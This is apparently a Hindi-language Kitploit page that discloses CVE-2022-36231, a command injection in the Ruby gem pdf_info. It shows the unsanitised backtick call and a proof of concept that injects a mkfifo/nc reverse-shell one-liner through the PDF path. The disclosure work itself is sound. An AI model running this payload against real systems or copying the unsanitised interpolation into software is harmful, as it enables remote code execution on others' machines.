Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2022-36231 — pdf_info <= 0.5.3 OS कमांड इंजेक्शन | Kitploit
उपकरण/GitHubGitHub/affix/cve-2022-36231
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलपेलोड डेवलपमेंट
GitHubaffix/cve-2022-36231

CVE-2022-36231

pdf_info <= 0.5.3 OS कमांड इंजेक्शन

रिपॉजिटरी देखें
533 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2022-36231

रूबी जेम pdf_info के संस्करण <= 0.5.3 में OS कमांड इंजेक्शन की कमजोरी है जब PDF::Info ऑब्जेक्ट पर एक मेथड निष्पादित की जाती है।

एक हमलावर विशेष रूप से तैयार किए गए पेलोड का उपयोग करके कमांड चेनिंग के माध्यम से OS कमांड निष्पादित कर सकता है।

कमजोरी विश्लेषण

जब एक नया PDF::Info ऑब्जेक्ट बनाया जाता है तो initialize मेथड को कॉल किया जाता है

root@kitploit:~
def initialize(pdf_path)
  @pdf_path = pdf_path
end

ऑब्जेक्ट इनिशियलाइज़ेशन के दौरान कोई सत्यापन नहीं किया जाता और उपयोगकर्ता द्वारा प्रदान किया गया पथ उपयोग किया जाता है।

हम निम्नलिखित के साथ एक PDF::Info ऑब्जेक्ट बना सकते हैं और PDF का मेटाडेटा वापस कर सकते हैं।

root@kitploit:~
#!/usr/bin/env ruby

require 'pdf/info'

info = PDF::Info.new("./pdf/sample1.pdf")
pp info.metadata

जब हम PDF::Info ऑब्जेक्ट पर metadata मेथड को कॉल करते हैं, तो process_output मेथड को कॉल किया जाता है जिसमें command मेथड को तर्क के रूप में पास किया जाता है।

command मेथड @pdf_info क्लास वेरिएबल का उपयोग करके सिस्टम पर pdfinfo कमांड को निष्पादित करता है, निम्नलिखित कोड स्निपेट का उपयोग करके कमांड का आउटपुट वापस करता है।

root@kitploit:~
output = `#{self.class.command_path} -enc UTF-8 -f 1 -l -1 "#{@pdf_path}" 2> /dev/null`

initialize मेथड की तरह @pdf_path वेरिएबल पर कोई सत्यापन नहीं किया जाता। यह हमें ; के साथ कमांड चेनिंग का उपयोग करके एक मनमाना कमांड निष्पादित करने की अनुमति देता है।

root@kitploit:~
info = PDF::Info.new('pdf/sample1.pdf; $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444>/tmp/f)')

pp info.metadata

उपरोक्त कोड स्निपेट 127.0.0.1 पर पोर्ट 4444 पर एक रिवर्स शेल निष्पादित करेगा

Shell

प्रकटीकरण विवरण

  • 2022-07-20 :: विक्रेता को रिपोर्ट किया
  • 2022-08-30 :: विक्रेता के साथ अनुवर्ती
  • 2022-09-30 :: CVE के लिए आवेदन करें
  • 2022-10-26 :: कमजोरी प्रकाशित करें
टूल डाउनलोड करें